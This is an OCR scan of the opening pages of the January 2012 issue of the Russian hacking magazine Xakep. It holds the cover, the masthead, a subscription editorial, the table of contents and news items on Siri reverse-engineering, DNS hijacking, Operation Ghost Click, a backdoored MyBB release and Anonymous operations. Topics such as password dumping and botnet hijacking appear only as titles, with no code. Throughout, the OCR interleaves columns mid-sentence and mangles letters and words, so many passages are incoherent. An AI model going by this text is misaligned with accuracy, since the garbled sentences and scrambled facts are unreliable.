Issuu on Google+

· ИНТЕРВЬЮ С ДМИТРИЕМ СКЛЯРОВЫМ е ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ

Fl 01 [156] 2012

СВОЯ ПРОШИВКАДЛЯ ANDROID РЕКОМЕНДОВАННАЯ

ЦЕНА:230р.

ENCRYPTION МЕХАНИЗМ ШИФРОВАНИЯ

XML-KOHTEHTA

ОКАЗАЛСЯ УЯЗВИМ К РАСКРЫТИЮ ДАННЫХ. РАЗБИРАЕМСЯСТЕМ,ПОЧЕМУЭТОРАБОТАЕТ И КАК НА ПРАКТИКЕ ПОЛЬЗОВАТЬСЯ БА ГОМ

-·-·-·-

НОВЫЕ БАГИ

ФАЙЛОВЫХ ФУНКЦИЙ РНР

PHONEGAP:

МОБИЛЬНЫЕ ПРИЛОЖЕН ИЯ НА HTML5

КАКУГНАТЬ

ЧУЖОЙ БОТНЕТ (gamв]land

hf.fun media UJ = . - -

-; _ 0 n:1

iiiiiiiiiiiiiiio

-~ - N


-,rp.HEP ..... ~

lntro

РЕДАКЦИЯ Никита «nikitozz )) Кислицин [nikitozfareal.xakep.rul Степан ctstep» Ильин (steprareaJ. xakep .ru ) Николай c(gorl» Андреев (gorlum@real.xakep.ru )

Главный редактор Шеф-редактор

Выпускающий редактор Редакторы рубрик

PC_ZONE и UNIТS

Степан

взлом

Маг (magglareal.xakep. ru l Александр « О г. Klouniz» Лозовский (alexanderfareal xakep.rul

MALWARE и SYN/ACK UNIXOID

«Step)) Ильин [stepffireal.xakep.ru l

Андрей ccдп dгushock >> Матвеев ( aпdгushockfareal.xakep.гu )

Редактор xakep.ru

Н и кол ай ccgoгl)) Андреев ( goгlumfaгeal.xakep.гu 1 Сергей Сильнов (pofakumekay.com ) Анна Григорьева [ gг igorievafaglc . ru ) Леонид Б оголюбов i xafaгeal. xakep . ru l

Литературный редактор

Елена Болотникова

КОДИНГ ФРИКИНГ РR-директор

DVD Антон

«ant)) Жуков ( antfareal.xakep.гu l Андр ей ccAпd гushock» Матвеев andrushockfareal.xake .ru) Дмитрий «01g 1>> Евдокимов levdokimovdsfagmail.com ) Максим Т рубицын

Выпускающий редактор Uпiх-раздел Security - paздeл Монтаж видео

ART Арт-директор

Алик Вайнер (aliklaglc. rul

Дизайнер

Егор Пон о мар ев

Верстальщик

В ера Светл ых

Фото на обложке

Ф отограф: Ексей Пантелеев. М одель: Е катерина Валуйская.

PUBLISHING Учредитель

000 «Г ей м Лзнд», 115280, М осква,

ул. Ленинская Слобода, 19, Омега nлаза,

О ВЫГОДЕ подписки

5 зтаж, офис No 21.

Генеральный директор

Дмитрий Агаруно в

Генеральный издатель

Андре й Мих айлюк

Финансовый директор

Андрей Фатерк ин

Директор

Т ел.: 1495/935-7034, факс:

1495/545-0906

Елена Каркашадзе

no маркетингу

Управляющий арт-директор

Алик Вайнер

Главный дизайнер

Энди Те рн булл

Директор по производству

Сергей Кучерявый

РАЗМЕЩЕНИЕ РЕКЛАМЫ Решил немного поделить ся с тобой инсайдом: расскажу о

внутренней кухне издательской деятельности и о том, как рабо­

Т ел . :

1495/935-7034, факс: 1495/545-0906

РЕКЛАМНЫЙ ОТДЕЛ

тает дистрибуция журналов в России. Прежде всего, сухой факт:

Директор груnпы TECHNOLOGY

Марина Филатова ( f il atovaГcl glc ru l

наценка торговых сетей в среднем не ниж е 100%. Например , если

Старшие менеджеры

Ольга Емельянцева (olgae mlfaglc.ru)

тыкупилХакерза250рублей , тодоредакциииззтихденегдойдет меньше половины . Справедливы ли такие проп орции? В общем­ то, зто риторический вопрос, не имеющий никакого смысла: розничные сети обладают монополи ей, и именно они определяют

все условия . Не хо тите- не работайте .

Старший менеджер Менеджер Старшийтрафик-менеджер

Н у и вообще их бизнес тоже не пр ост. Тут факт ном ер два: в каждой точке за месяц обычно прода е тся

Менеджер Директор корпоративной группы

1-3 экземпляра журнала ,

а точек продаж- десятки тысяч по всей России. Соответственно,

ОТДЕЛРЕАЛИЗАЦИИСПЕЦПРОЕКТОВ Директор

Александр Коренфельд /korenfeldlaglc.rul

Менеджеры

Светлана М юллер Наталия Т улинова

частая ситу ация: в одном киоске «Хаке р >> закончился, а в другом­

лежит невостребованным. Все это требует сложной логистики,

РАСПРОСТРАНЕНИЕ

больших за тра т на развоз прод укции и так далее. Поскольку мы

Директор по дистрибуции

не знаем , где нас ждет nокуnатель, приходится присут ствова ть в

Руководитель

большом количестве киосков и тратить на это немало д ене г, по­ лучая обратно возвраты-непроданные журналы . Все э то сильно влияет и на торговую наценку, и на экономикужурна ла в целом .

Решение этой проблемы есть , и оно на повер х ности : ПОДПИСКА. В э том случае мы за ране е знаем, сколько журналов и по какому адресу нужно д ос тавить, зто про зрачно, выгодно и эффективно . Именно nоэтому мы рады предложитьлучши е цены на подписку :

Оксана Алехи на /alekhinalaglc.rul Елена П оликарпова (polikarpova@ glc.rul (работа с рекламными агентсте ами] Кристина Татаренкона (t a t areпkova@g lc .ru l Юлия Г Осп один ава /gospodinovataglc гu l Мария Дубр о вс кая (dubrovskaya@gjc.ru/ Марья Була нова (bulanovalaglc.rul

Руководитель отдела подписки

Татьяна Кошелева l koshelevafaglc. гu ) Виктория Клепикова llepikova@qlc.ru ] Наталья Лукичева llukichevafaglc.ru )

спецраспространения

Претензии идаполнительная инфа:

В случае возникновения вопросов по качеству печати и ОVО-дисков : claimfaqlc.ru . Горячаялиния по подписке

Факс для отn равки купонов и квитанций на новы е п одп иск и : (4 95)545 -09-06

Т елефон отдела nодnиски для жителей Москвы: 1495/663-82-77 Т елефо н для жителей регионов и для звонков с м оби льн ых телефонов: 8-800-200-3-999 Для писем :

101000, Москва, Главпочтамт, а/я 652, Хакер

от 115 рублей за номер! Выгоднее всего оформить подпи ску можно

Зарегистрировано в Министерстве Рос сийской Федерации по делам печати, телерадиовещан и ю и

в нашем магазине подписки shop.g lc. ru / xake p. Оплата любым

средствам массовых ко мм ун ика ций ПИЯ

элект ронным способом, доставка курьером по Москве , почтой- по

Отnечатано в типог р афии

77-11802

от 14.02.2002

Zapolex, П ольша. Тираж 219 833 экземпляров.

России . И абсолютный хи т: супервыгодная подписка самовывозом

М не ни е редакци и н е обязательно со вп адает с мнением авторов. Все м а те риалы в ном ере

из редакции в Москве!

nредоставляются как информация к размышлению. Ли ца, исnользующие данную информацию в противозаконных ц елях, могут быть привлечены к ответственности. Редакция не несет ответствен­

ности за содержание рекламных объявлений в номе р е. За перепечатку наших материалов без

nikitozz, rn. ре д. Х shop.glc.ru/xakep vkontakte ru/xakep mag

ХАКЕР

01/156/201 2

спроса- nреследуем. По вопросам лицензирования и получения прав на использование редакци­

о нных материалов журнала об р ащайтесь по адресу: co n tentrдglc.ru .

© 000 «Г ей м Лзнд», РФ, 2012

001


ФРАНЦУЗЫ СУМЕЛИ ОТРЕВЕРСИТЬ ПРОТОКОЛ ПЕРСОНАЛЬНОГО ПOMOЩHИKASIRI

004

HEADER 004

MEGANEWS

016

Колонка Степы Ильинна

017

Proof-of-coпcept

Как бесплатно получить 8 Г б в

Все новое за последний месяц

011

hacker tweets Хак-сценав твиттере

Сканер ХSS-уязвимостей на

Dropbox с п омо щью AdWords

100 с тр ок кода

COVERSTORY

030

Интервью с Дмитрием Скляровым Человек, который

поссорился с Adobe

COVERSTORY

COVERSTORY

018 ВзломХМL

Атака на файлы

Encryption

Эксплуатация

Легкий способ

свежих уязвима­

дешифрования

стей в функциях

закрытой ХМL­

для работы с

информации

файлами в РНР


036

PCZONE

-

UNIXOID

РhоnеGар:мобильноеnриложениенаНТМL5

102

Атака форков

107

Фильтруй эфир!

Обзор веток популярных дистрибутивов Linux

Каксоздатьпрограммудлясмартфоназаполчаса

042

Семь рецептов приготовпения Windows-пapoлeй

Аудитсетевоготрафика с помощью tcpdump

Каксдампитьииспользоватыешипаролей

атучеток Wiпdows-cиcтeм ы

046

112

Свойсобственныйробот Создаем Апdгоid-прошивку из подручных материалов

Правила постэксплуатации Что делать с шеллом Wiпdоws-системы?

117

Мини-обзор

Ubuntu 11.10

Коротко об Oneiгic Ocelot

-

взлом

050

Easy-Hack Хакерекие секреты простых вещей

054

-

SYN/ACK

118

Бумажная работа безопасни ка Великая статья о великой бюрократии

Обзор эксплоитов

в работе специалиста по ИБ

Анализ свеженькихуязвимастей

060

ШтурмМD5

064

Какугоняют ботнеты

122

Когда сгущаются тучи Защищаем данные в облаке

Все методы взлома популярного алгоритма хеширования

Покоряем зомби-сети на базе SpyEye

068

Пробиная

Lotus, или история одного пентеста

Эксплуатируем приватную дыру в

072

Lotus Oomiпo Сопtгоllег

126

X-Tools

130

Хакерепейс--территорияхакеров

Как собрать хакеров в одном месте

132

MALWARE

080

Силен Дуку очень

Wiп32/0uqu: темный преемник червя Stuxпet

084

Проверка антивирусов:

bootkit test

BitDefeпdeг, ESET NOD32, F-Secuгe, Outpost Secuгity, Risiпg против «загрузочных>> угроз

-

КОДИНГ

088

.NЕТ-криптография

Разбираемсяскриптографическойподсистемой

.NET Fгamewoгk

094

Задачинасобеседованиях Подборкаинтересныхзаданий,которыедают

на собеседованиях

098

NAS к себе 5- и 6-дисковых NАS-серверов

Со скоростью света

Тестированиетвердотельного накопителя Silicon

СЦЕНА

-

Позови

Тестирование

Программы для взлома

074

FERRUM

Паттернпроектирования«Одиночка»

Создаем один-единственный объект на всю программу

PoweгSP060GBSSOV30525

PHREAKING Loop во благо Рассмотрим, создадим и заюзаем апnаратную nетлю на nорте коммутатора

юниты

136

FAOUNIТED

139

Диско

142

WWW2

Большой

FAQ

8.5 Гб всякой всячины Удобные wеЬ-сервисы

144

Календарь2012 Главные события NY2k+ 12


EGANEWS ПРЕПАРИРОВАНИЕ

БОЛЕЕ ТЬIСЯЧИ ЗАЯВОК было подано в этом году на конкурс <<Премия Рунета».

UBUNTUДЛЯ

SIRI

МОБИЛЬНЫХУСТРОЙСТВ

ФРАНЦУЗЫ СУМЕЛИ ОТРЕВЕРСИТЬ ПРОТОКОЛ ПЕРСОНАЛЬНОГО ПOMOЩHИKASIRI

UBUNTU 06ЕЩАЕТ ПРЕВРАТИТЬСЯ В ПОЛНОЦЕННУЮ nустя месяц nосле релиза

iPhone 45

из француз ской компании

Applidium

111

~.)

'.1

" On Мау 19 rem1n d me •l's dad's b<rlhday " Не 'С~ •~:J' r1 п

1'3 -cL 1

МОбИЛЬНУЮ ОС

исследователям

,(!

r••Jer '::,r

Мау

• а111

удалось добраться до вну­

тренностей 5iгi, который стал доступен в

i05 5.

Внимательно изучив nротокол ,

французы сделали множество nолез­ ных выводов . Они также пообещали, что благодаря их изысканиям в скором

будущем nоявится возможность ис­

19

Saturday Мау 2012

nользовать 5iгi для др у гих nриложений и устройств. Да-да, можно будет писать

Oad's brrthclay

приложения для Andгoid, а также ис­

nользовать 5iгi на r;

~· ''1'

iPad.

Все nодробно­

сти опубликованы на сайте компании

Applidium: appl idium .com/en/news/

" а

начале ноября Марк Шаттлворт[основатель

cгack i ng siг i . Основные заключения таковы:

iPhone 45 действительно

по сылает

Canonical,

один из разработчиков

Debian, второй

космический турист и человек, руководящий

насервернеобработанное аудио,

разработ кой Ubuntul объявил о том, что Ubuntu в будущем

сжимая е го при nомощи аудиоко��е-

доберется до смартфонов, nланшетов и тел евизоров.

ка 5реех. Для исnользования 5iгi на

Компания

другом устройстве все равно nотребу­

которая, как и

ется идентификатор

nов , и для мобильных устройств на АRМ-процессорах .

одного

Выяснилось , что nереговоры с прои зводителями апnа­

no крайней мере iPhone 45 . Этот идентификатор

Canonical готовитуниверса льную в ерсию ОС, Windows 8, буд ет nодходить и для дескто­

довольно легко nолучить\nодделать, о

ратного обеспечения ведутся уже полтора года. Вnрочем,

чем довольно nодробно рассказывает­

универсальная версия врядли появится в ближайшем

ся по ссылке выше. Конечно , есть риск

будущем. Ожидается, что мобильные устройства будут

Applidium опубли­

nоймать ба н, но если не выходить в

nоддерживаться в

ковали в открытом

Сеть с устройства, на котором установ­

чен на аnрель

Разработчики из

доступе весь набор инструментов,

созданных входе

<< BCKpЫTИA » Siri . Утверждается, что этих туnэ должно хватить тем, кто

технически способен написатьSiгi­ приложение.

лено nриложение, то он минимален.

Пр отоко л в целом очень «бо лтли­ выЙ>>.

iPhone обменивается

большим

количеством данных с серверами

Apple . Наnример,

во время nреобразо­

Ubuntu 14.04, выход которой наме2014 года . Шаттлворт nодчеркнул, что к

реализации этой идеи компания еще не при ступала, n ока

только вела nереговоры и <<готовила nочву>>. В настоящий момен т все усилия Canonical наnравлены на разработку Ubuntu 12.04, которую nланируется представить в аnреле 2012 года . Ш аттлворт отметил, что это буд е т LТ5-версия

вания текста в речь сервер даже при­

[то есть версия с долгосрочной nоддержкой), поэтому

сылаетоценкудоверияивременную

разработчики заинтересованы в том, чтобы сделать ее

метку для каж дог о слова.

максимально стабильной.

Windowsxp WINDOWSXPCTAJIAЭKCПO·

ИЗ APPLE УВОЛИЛИ ДИРЕК·

РОССИЯ ВЬIШЛА НА ПЕРВОЕ

ПАВЕЛ ВРУБЛЕНСКИЙ

ОФИЦИАЛЬНОПОДТВЕРЖ·

НАТОМ В ПОЛИТЕХНИЧЕСКОМ

ТОРА ПО БЕЗОПАСНОСТИ

МЕСТОВЕВРОПЕПОЧИСЛУ

(CHRONOPAYI ПРИЗНАЛСЯ

ДЕНО, ЧТО STEAM ВЗЛОМАН.

МУЗЕЕ МОСКВЬI . Двадцать

Джона Терио. По слухам,

ИНТЕРНЕТЧИКОВ ! По со об-

В ТОМ, ЧТО ОРГАНИЗОВАЛ

Началось все с дефейса

пятого октября в эале

причинойувольнениястало

щению компании comScoгe,

форумов, а в ходе расследо-

вычислительной техники

то, что Т ери о не сnравлялся

у нас в стране начитывается

DDOS-ATAKY на сайт конкурента (Assist), в результате

были размещены два ПК, на

со своими обязанностями.

уже 50,81 млн пользователей

которой пострадала авиа-

также получили доступ к

Всемирной сети.

компания <<Аэрофлот>>.

базе данных Steam.

которых установлена ОС.

001,

вания стало ясно, что хакеры

ХАКЕР

01/156/2012


Корпорация lпtel не несет ответственность и не осуществ11яет проверку добросовестности и11и достоверности каких-11ибо утверждений и11и заяв11ений относите11ьно конкретных компьютерны х систем, упоминание о которых содержится в данной рекмме. Корпорация lпtel © 2011 г. Все права защищены . lпtel, логотип lпtel, lпtel Са ге и Саге являются товарными знаками на территории США и других стран . Реклама . *Другие наименования и товарные знаки являются собственностью своих за ко нных владельцев.


MEGANEWS

В ОФИЦИАЛЬНОМ &ЛОГЕ FАСЕВООК сообщается, что объектами атак ежедневностановятся порядка 600тысяч аккаунтов социальной сети.

POLAROID

ВОЗВРАЩАЕТСЯ!

НЕПРИЯТНОСТИ С

DNS

ВЕЗДЕ И ВСЮДУ

ЦИФРОВАЯ КАМЕРАС ФУНКЦИЕЙ МОМЕНТАЛЬНОЙ ПЕЧАТИ

В БРАЗИЛИИЗАФИКСИРОВАНА МАССОВАЯ АТАКА,

А В США РАСКРЫЛИ КРУПНУЮ АФЕРУ прошлом месяце в мире произошел сразу ряд

инцидентов, связанных с подменой DNS-aдpecoв. Больше всех, пожалуй, по с традала Бразилия -в стране была проведе на массовая атака на сервера сразу нескольких крупнейших nровайдеров. В результате атаки в доменном кеш е были подменены DNS -за пи си для

Девятнадцатого де­

кабря 2008 комnания Polaгoid года объяви­ ла себя банкротом, воспольэовавwись

11-й главой Кодекса

США о банкротстве. Однаковсамой компании говорят,

что банкротство носиттехнический

Hotmail, Gmail, Google, Microsoft и других международных и локальных сервисов, в частности Uol, Terra и Globo. Ты­ сячи людей, обращаясь, скажем, к google .com , шли не на IР-адрес реального сервера компании Google, а на нужный хакерам веб-ресурс. П очти все фейковы е сайты расnро­ страняли различные мал вари. К nримеру, фейковый сайт

Google nредлагал пользователям с качать и установить nрограмму Google Defender, которая на самом деле nред­ ставляла собой набор вредоносных программ. На данный

момент, по информации бразильских СМИ , по подозрению в организации этой атаки был задержан 27-летний со­

характер и Polaгoid nродолжает рабо­

трудник одного из круnных провайдеров страны, который

тать, а 11-я глава

сnровоцировал обновление на многих DNS-cepвepax

nросто nозволила

Бразилии, изменив DNS-эаписи.

компании провести

В США, в свою очередь, nрактически завер шилась

финансовую ре­ структуриэацию.

длившаяся два года операция

Ghost Click . Сотрудники

американскихправоохранительных органовсовместно

с коллегами из-за рубежа успешно раскрыли мошен­ егендарный

Polaroid

попытался возродить камеры для моментальной

фотографии: компания представила цифровой фотоаппарат

Z340 используеттехнологию печати ZINK

lnstant Digital Camera. Нов инка Zero lnk Printing, ключевым элемен том которой является сnециальная

бумага

ническую схему, основанную на исnользовании вируса

DNS Changer.

Эта малварь заставляла ус трой ства Мае

OS DNS. Программа IР-адреса nримерно для 15 тысяч

Х и Windowsдoвepять нестандартным установила липовые

с вкраnл ениями красящих кристаллов. Под воздействием т епла, выделяемого

доменов! В итоге жертвы вируса , как нетрудно догадать­

работающей « nечатающей >> головкой, кристаллы плавятся. При охлаждении

ся, nопадали на различные мошеннические ресурсы .

кристаллизация не nроис хо дит, благодаря чему нап ечатанное изображение

Всего вирь инфицировал более четырех миллионов ПК

остается на бумаге. Словом , как и раньше, когда исnользовались аналоговые

более чем в

технологии,фотоаnпаратпозволяетполучить«твердуюкоnию»снимкавскоре

тысяч комnьютеров в Соединенных Штата х. По итогам

после на жатия кнопки с nуска . Разрешение камеры сос тавляет

операции прокурары назвали имена семерых обвиняемых

оснащена жидкокристаллическим дисnлеем диагональю

2, 7"

14 Mn. Она

и слотом для

100 странах

мира, в том числе nорядка

500

[все семеро из Восточной Евроnы], которые nредположи­

SD . Объектив с фиксированным фокусным расстоянием IЭФР 43 мм] имеет максимальную диафрагму F/3,2. Есть функция видеосъемки [максимальное разрешение-1280 х 720 nик селей]. Polaroid Z340 nечатает фотографии размером76 х 102 мм, а бумага для него стоит порядка $20 за 30

тельно заработали на этом <<бизнесе» более

листов. Питает ся камера от литиево-ионной аккумуляторной батареи, полного

строяболеес так онтрольныхсерверов.Длятогочтобы

заряда которой,

уменьшить ущерб, нанесенный зараженным ком пью ­

карт памяти формата

no словам

производителя, хватает на

25 отnечатков.

Камера

14 миллио­

нов долларов , << nохищая» клики и nодменяя рекламные

ссылки . В двухдата-центрах [в Нью-Йорке и Чикаго] прошли обыски, в результате которых было выведено из

позволяет выбирать снимки для nечати и на к ладывать на изображения разные

терам, вредоносные DNS-cepвepa были заменены на

эффекты, в том числе добавлять белую рамку в с тиле моментальных ретро­

уnра вл яемые

фотографий Polaroid. Цена Z340 lnstant Digital Camera составляет около $300.

обвинители считают, что за этой аферой стоит эс тонская компания

ln ternet Systems Consortium . Федеральные

Rove Digital. Так как шестеро из семи

подо­

зреваемых- граждане Эстонии, это nохоже на правду. ПЯТИМИНУТКА ЮМОРА

Заокеанские федеральные прокурары теnерь хо тят до­

биться того, чтобы задержанных экстрадировали в США. Седьмой обвиняемый в этом д ел е- гражданин Ро ссии, находящийся на свободе, числится в розыске . Главой

ПОСЛЕОБНОВЛЕНИЯАНТИВИ­ РУС AVIRA СТАЛ ОПРЕДЕЛЯТЬ СОБСТВЕННУЮ БИБЛИОТЕКУ AESCRIPT.DLL КАК ПОТЕНЦИ­ АЛЬНУЮ МАЛВАРЬ 006

EstDomains-дoмeннoro регистратора, который предо­ ставлял услуги nрестуnникам , был Владимир Чащи н. Ег о уже судили в Эст о нии и лишили аккредитации в

2008, nо сле обвинения

ICANN еще

в мошенничестве, отмывании

денег и nодделке док уме нтов.Каждого задержанного об­ виняют в nяти случа ях мошенничества с использованием электронных средств коммуникации и взлома компьюте­

ров. Чащинутакже предъявлено обвинение в

22 случаях

отмывания денег. Обвиняемые суммарно могут пол учи ть

85 летт r~ ремного заключения.

ХАКЕР

01 /156/2 01 2


MEGANEWS

ВХОДЕ ОПРОСА, ПРОВЕДЕИНОГО ТНЕ CONSUMERIST, RIAA была признана худшей компанией Америки.

ГЛОНАСС ДОЛЖЕН БЫТЬ ВЕЗДЕ!

НЕПРОСТАЯ

ВСЕ УСТРОЙСТВА, РАБОТАЮЩИЕ В СЕТЯХ WI-FI, ДОЛЖНЫ БЫТЬ

УЯЗВИМОСТЬ В МУВВ

ОСНАЩЕНЫ ГЛОНАСС И ЛИЦЕНЗИРОВАНЫ

НЕИЗВЕСТНЫЕ ХАКЕРЫ ПОКОПАЛИСЬ В КОДЕ ПОПУЛЯРНОГО ОТКРЫТОГО ФОРУМА

есьма некрасивый фейл приключилея с разра­ ботчиками откры т ого форума МуВВ. Еще в начале октября в официальном блоге была опубли ­ кована информация о некой критической уязвимости, обнаруженной в последней версии МуВВ

1.6.4.

Н о все

оказалось не так просто. Ды рка, позволяющая выполнить

произвольный код РНР, возникла не сама п о себе. Как выяснилось, уязвимостьдоба вили в код н еизвес тны е

х акеры, попросту подменив архив с релизом форума на с ервере загрузки . Каким образом хакеры проникли в систему, до сих пор не установлено, ведь дви жок ��ай та х оть и разработан св о ими силами, но все же основан на использовании сторонни х открыты х фреймворков. Тепер ь

ра з работчики уверяют, что пробл ема безо п аснос т и при­ су т с твует не в коде и х

CMS, кото р ый

не распространяется

п уб лично , а именн о в э тих самых внешних фреймворках. рем я от времени наши власти очень л юбят на­

К ак бы т о ни было , т е перь всем пользователям МуВВ

поминать нам, что мы живем в России, а значит,

з агрузившим ар х ив до

скучно не б удет. Очередная инициатива Мин­

о бновление. Ра з работчики межд у тем задумались, как

6 октября,

1.6.4,

нужно срочно установить

комсвязи обернулась , как бы это сказать помягче, очень

избежать подобны х инцидентов в будущем. Планир уется

забористым маразмом. Во-первых, согласно приказу,

на чать распро с тран е ние контрольных сумм для пр оверки

вст у пившему в силу

це лостностии з начальноопубликованныхархивов.Для

10 октября ,

все точки беспроводног о

распространения к о нтрольных сумм буде т испо ль зовать­

радиодоступа следуетоснаститьа пп арат у рой системы

спутниковой навигации ГЛОНАСС или ГЛОНАСС/GРS. Д а,

с я сторонний сервер , чтобы хакеры не смо гли подменить

ВСЕ точки доступа , то е с ть все роутеры, ноутбуки, смарт­

файлы с к онтрольными суммами. Также разработчики

фоны и прочие девайсы, использующие стан д арт 802.11 .

рассматривают возможность ис п ользования для орган и­

Во-вторых, об л а дателю тако й т очк и д ос т у па тр ебую т ся

зации загрузк и релизов сетей д оставки контента

лицензии и разрешения Роском надзора . П о л учает с я , что ,

а

с о дной стороны, устройства малого радиуса действия

iPhone45, как ты

[ м о щностью не более 100 м Вт), работающие п о ста н ­

помнишь, оказался

дарту 802 .1 1, не подлежат обязател ь ной регистрации.

С др у гой стороны, Минкомсвязи утверж д ае т обратное . Невыполнение пр иказа гро зит н е толь ко администра­ тивным штрафом, ко т орый составляеттысячу р у блей , но

[CDN) .

оснащен модулем

ГЛОНАСС , что для многихстало сюр­

призом. В компании

Apple оnределенно что-тознали :).

и конфискацией соответствующего оборуд ования. Е сли ты все е щ е надеешься, что здесь какая-то ошибка, с п ешу тебя «обрадоват ь »- о ш ибки нет. Мини стерство связи и

,0-·'-··-~·

массовых коммуникаций РФ уже офи ц иально подтверди­

- • с·- · - -·­ ., ,_",,.,,..

ло всю пр иве д е нн ую выш е информацию и ко н к р етизиро­

1

- ••• " _ ,._""_, ___ ·-· ·· -·· •• ,. .... ......

в а л о ее. П рав да , о н о п оче м у-т о не объяс нило , как и зачем

~

. ,_,.

__

(<~

....... , ... , ..

'<I'К;J

..~.....,<Jo•• • "' I"•• O.""*'nr l """ "' '" ''' '"""" "' · --~· · · ' """"" " L>oo< •, "' · - ! r.=oo« _ _ ,,... .. 1 • •.• ,.... .

встраивать модуль ГЛОНАСС в роутер или ноутбук .

WEXLER.BOOK Е7001. Компания Wexler представляет новую электронную книгуWЕХLЕR.ВООК Е7001 на базе 7.0" сен­ сорногозкрана,благодарякоторомуэтотпродуктявляется

Jj

._d

ТА

.....

008

~

Firefox with Bing Ьing

уникальным для рынка стран СНГ. Устройство оснащено4 ГБ

встроенной памяти (можно расширить до 32 ГБ с помощью

microSDI , поддерживаетсамые популярные форматы электронных книг, изображений и аудио файлов ; позволяет

·-

~ KaneOIAII~

слушать FМ·радио. Ридер оснащенлитий-полимерным акку­

<<ЧТО УГОДНО, ТОЛЬКОНЕ

ВЗВМЛРДРУБЛЕЙОЦЕНЕН

мулятором емкостью

GООGLЕ!~~ -видимо, такду­

УЩЕРБ от lпterfilm.ru и

1500 mAh, а значит, может работать без

подзарядки несколько недель . Новинка выполнена в тонком

мают в компании

эргономичном корпусе, задняя панель которого изготовле­

Теперь поисковик Biпg

на иэ легкогоалюминиевого сплава .

WEXLER.BOOK Е7001

Microsoft.

Puzkarapuz.ru . Владельцы сайтов супруги Лопуховы

предлагаетпользователям

нарушили авторские и

поставляется в кожаной обложке. Рекомендованная цена

с качать и установить брау­

смежныеправа1Зкиноком­

устройства : 5 990 руб .

зер

паний.

Firefox.

ХАКЕР

01 / 156/201 2


t'

' !..'

'В акциях..;;.

за~рытые

r

.

'

иятия для держателей · <~ tу1ужск9.Й .f

~~

~-

.· равлять своими счетами, испольЗуя с ....... - . ... нтернет-банка «Альфа-Клик» . .l .· ·~;· .,

'

'

.

-

/

• 1

\

1.

.

/

.

1.

. U·>· •-z... \--.:,,,.

·jОформпять подllис_ку на жУрнал·~:-~<·. 1 . · · · ~<Хакер» со скид,ои 50% · : : rел.-подписки (495)-663-82-771 shop.glc.ru


MEGANEWS

ENTENSYS И COMMTOUCH СООБЩАЮТ, что Россия генерирует 6, 7% от общего количества сnама в мире.

АНОНИМУС ПРОТИВ НАРКОКАРТЕЛЕЙ И ПЕДОФИЛОВ БЕЗЛИКИЙЛЕГИОН СПОСОБЕН НЕ ТОЛЬКО НА ИЗДЕВАТЕЛЬСТВА НАД КОПИРАСТАММ И ВЛАСТЯМИ очти каждый меся ц мы п уб ли куем н овос ти с

фронта борьбы Анонимус со всем бе лы м светом , НО на ЭТОТ раз « ПОСЛедние С В ОДКИ >> ВЫГЛЯ ДЯТ

необычно даже дл я анонов . Н е д авно на YouTub e появила сь интересная

видеоза­

пись : че л овек в маске Гая Фокса пр опущен ны м через модулятор голосом обра т ился от име н и Aпoпymous к

мексикан с кому наркокартелю « Зета с » [Zetasl с требо­ вани емотпустит ь эахваче нног очленахактивистской гр уп пы . Стоит о тм е тить , что картел ь «Зе та с>> , известный своей жест о костью , уже « карал >> тех , к т о осмеливался

вес ти пр отив него войну в Сети . Та к,

26 сентября 2011

г ода

в Н уэво-Ларе д о была обезглавлена раб отница местн ой га зеты. Соглас н о ос тавленн ой записке , жен щин у убили иэ-за ее активности на сай т е. А совсем недавно по аналогичной причине был убит мужчина-блогер. Из опубликованного

Anonymous ролика

не ясно , кого им е нн о

требовали от п ус тить хаке ры- ни име н , ни н ик нейм ое

названо не было. Зато Анонимус п ригрозила картелю, что, если в течение месяца со дн я публикации видео

ее требования не будут выпол н ены, хак - группа начнет публиковатьданные о пом о г а ющи х « Зета с >> коррум п и­ рованных полицейски х, таксистах , журналистах и так

далее . По сути , Анонимус объявила OpCaгtel [Оnерация Картел~.Послеэтогосайтмексиканс к огополитика , по­ дозреваемого в связи с картелем, был взломан, а до СМИ дошла информация, что многие аноны запа ни ко вал и и даже отказались учувство ват ь в операции. О дн ако о н а з а ­ вершилась, не успев начаться, -одна иэ с амы х страшны х

преступных организаций в мире отп у стила заложника , и

OpCaгtel попросту отме нили . В оттак А ноним усодержала верхнаднаркокартелем .

Однако это не все. В этом месяцеАнонимус пров е ла еще одну громкую операцию, которую, без всяк о го с о ­

которых был

За nоследний месяц

мнения, можно н азват ь важной, нужной и прав ильной.

ш ий более

Везд есущие хактивисты вывели из с тр оя подпольный

Lolita City - кр у пнейший р есу р с, с одержав­ 100 Гбд е т ско й порнаграфи и. Мы продолж им обрушение не т о ль ко Fг e edom Hosting, но и любого другого

Anonymous усnела взло ­

сайт с детской порнографией и обнарод о в али с писок его

сервера, которы й будетзамечен в распр ос транении

водились из Германии,

детской порногра фи и >>. В рамка х Opeгat io n Daгknet на

Франции , Словакии и

у ча ст н иков . Началось все с обнаруже ни я сайта на домене

.onion- Hidden Wiki,

где со д ержались ссылки на сотни

ресурсов с детским порно. Анонимусуд алила ссылки, но

хост инг была проведена серия ООоS-атак . С удя по отче т у об операции , ба за д а нны х п о ль з ователей са йт а

Lol ita City

мать сайт Мусульманско ­ го братства . Атаки nро­

Сан-Франциска со ско­

ростью

2000-6000 хитов в секунду. Позже хакеры

администраторы вернули и х на мес т о . Тогда-то х акеры и

была извлечена с п ом ощью SQL-инъекции . Владельцы

увеличили скорость

заметили, что на больши н стве фото гра фий стоит в одяной

хостинга , кстати , поп ы тали с ьсопротивлятьсяатак~н о

секунду .

з нак хае т ера Fгeedom

Анонимус это не остановило . Все полученные данны е

Hosting . А затем ... Процитируем самих анонимов: « Положив сер вера Fг eedom Hosting, мы уда лили более 40 сайтов с детской порнографией, сре д и

атаКИ ДО 38 ТЫСЯЧ ХИТОВ В

хактивисты традиционно выложили в открытый дост у n:

pastebin . com/Т1 LH nz EW.

ЕВГЕНИЙ КАСПЕРСКИЙ:

<<IT НУЖНЫ ВОЕННЫЕ СТАН­ ДАРТЫ БЕЗОПАСНОСТИ. КОГДА ЦЕНА ИНФОРМАЦИИ СЛИШКОМ ВЫСОКА, НУЖНО ОТКЛЮЧАТЬ СЕТИ ОТ ИНТЕРНЕТА>> 010

ХАКЕР

01 / 156/2012


laEdiStrosar:

laiLLUMINATI:

laRuCTFE:

«Большая часть технологий

Здесь нет будущего для людей,

Поздравляем окончатель­

обеспечения безопасности

которые живут в защитном

«безопасна» только потому, что

режиме. Они тратят свою жизнь

никто даже не пытался атаковать их>> [Петер

ного победителя

-

OldEuгOpe из

#RuCTFE RWTH, Ачен,

Германия.

на страхи.

t.co/IUII94Ko .

Гатманl.

